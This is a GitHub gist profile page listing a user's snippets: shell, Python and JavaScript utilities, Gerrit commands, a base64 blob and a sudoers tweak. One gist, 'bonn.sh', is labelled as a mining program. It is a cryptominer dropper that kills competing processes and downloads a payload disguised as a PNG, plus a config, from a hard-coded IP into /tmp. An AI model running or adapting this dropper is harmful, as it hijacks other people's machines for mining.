Skip to content

Instantly share code, notes, and snippets.

View zh4n7wm's full-sized avatar
🎯
Focusing

Hydra zh4n7wm

🎯
Focusing
View GitHub Profile
import os
import sys
import re
import hashlib
import csv
import time
import locale
import getopt
@zh4n7wm
zh4n7wm / Roman Hitman
Last active January 15, 2016 08:01 — forked from zealic/Email
Please use CAPTCHA as additional message
iUxaTwANChoKEDAgQAlAAQUOMAA9AAAAAFaVyZ9WlcmfADR5BhEAAAJRAAACHxc/
uggAFzJhMzhhNGE5MzE2YzQ5ZTVhODMzNTE3YzQ1ZDMxMDcwIDg2MTM5ODVldAMA
E2I4Zjc1N2FlNjQzOWU4NzliYjJhIHwgUm9tYW4gSGl0bWFuCj0gHgAAAAcKL1Rk
NldGb0FBQVRtMXJSR0FnQWhBUndBQAAAAJNRejFqTTRBRlpBUWhkQUNrSUJFU2l3
VU5uMHF1VVVBRElIZ3kyCjVsU1RROFM3R1ZHcU1TeTBxNUlqbjR1cmFJS05zcjRW
Q2J1WmRhOXllTElEUWZYTkc2UUFpWW1YWmZXQmx5SjQKa2NJTGFHcnAyWkc0d1NY
dzUzaEJyOHNQd1RRb1B1QjNsTGtySEdWV2N5OFZxMklRUGlnaTU0d3dZNGpJVFpi
dgpudmwxOFNJYWtvOWsyZUhGd3h6SXY0b1BJT1FURVl0U0Z0Y3BXQ05nYktjWXFq
ZVN5VGpwWFpMS2JxMnJnelR1CjY0OVV4a2crYnR6eitYejlxTDg0WHN0ZC8rT0tI
TXJ3dTRyOFRHbVhJenN0d3kyKzhYa3JXSW9aRkg1eGw0TEkKWnhNczFwQTRlY21X
@zh4n7wm
zh4n7wm / gist:7343d2c1b8c99652847052c874c787a7
Created April 17, 2017 08:06
sudo: sorry, you must have a tty to run sudo
for x in $(cat hosts)
do
echo $x && ssh -t $x 'sudo grep -Pq "^\s*Defaults:centos\s+!requiretty\s*$" /etc/sudoers || sudo sed -i "/Defaults requiretty/a \
Defaults:centos !requiretty" /etc/sudoers ; exit'
done
@zh4n7wm
zh4n7wm / sendmail.py
Created April 26, 2017 03:08
send email with Python
#!/usr/bin/env python
# encoding: utf-8
from __future__ import unicode_literals, print_function
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.utils import formatdate
from email import encoders
@zh4n7wm
zh4n7wm / brew_cask_upgrade.sh
Created May 21, 2017 04:23
brew cask upgrade
#!/bin/bash
red=$(tput setaf 1)
# green=$(tput setaf 2)
reset=$(tput sgr0)
(set -x; brew update;)
for cask in $(brew cask outdated | awk '{print $1}')
do
echo "${red}update ${cask} ...${reset}."
@zh4n7wm
zh4n7wm / bonn.sh
Last active January 7, 2019 07:45
一个挖矿程序
#!/bin/sh
pkill conns
ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print "kill -9 " $2}'|sh
pkill bonns
ps -fe|grep donns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn
wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf
@zh4n7wm
zh4n7wm / uri-encode-decode.sh
Last active October 30, 2017 08:33
URI encode and decode in command line
alias urldecode='python3 -c "import sys; from urllib.parse import unquote_plus as up; print(up(sys.argv[1],encoding=\"utf-8\" if len(sys.argv)<=2 else sys.argv[2]))"'
alias urlencode='python3 -c "import sys; from urllib.parse import quote_plus as qp; print(qp(sys.argv[1],encoding=\"utf-8\" if len(sys.argv)<=2 else sys.argv[2]))"'
@zh4n7wm
zh4n7wm / gist:b22ffdbf77e6a7a6b80b205cc5f8ecf5
Last active January 29, 2018 02:56 — forked from smirn0v/gist:b8e6c4bedebed23a0328
Set gerrit permission via editing gerrit project config
# checkout
git fetch origin refs/meta/config:refs/remotes/origin/meta/config
git checkout meta/config
# push
# directly:
git push origin meta/config:meta/config
# via review:
git push origin meta/config:refs/for/refs/meta/config
@zh4n7wm
zh4n7wm / dj.js
Created September 11, 2018 02:46
html-element-animate
function addStyleLink(url) {
let link = document.createElement('link');
link.rel = 'stylesheet';
link.href = url;
const head = document.getElementsByTagName('head')[0];
head.appendChild(link);
}
function addClass(elements, clsNames) {
for (let e of elements) {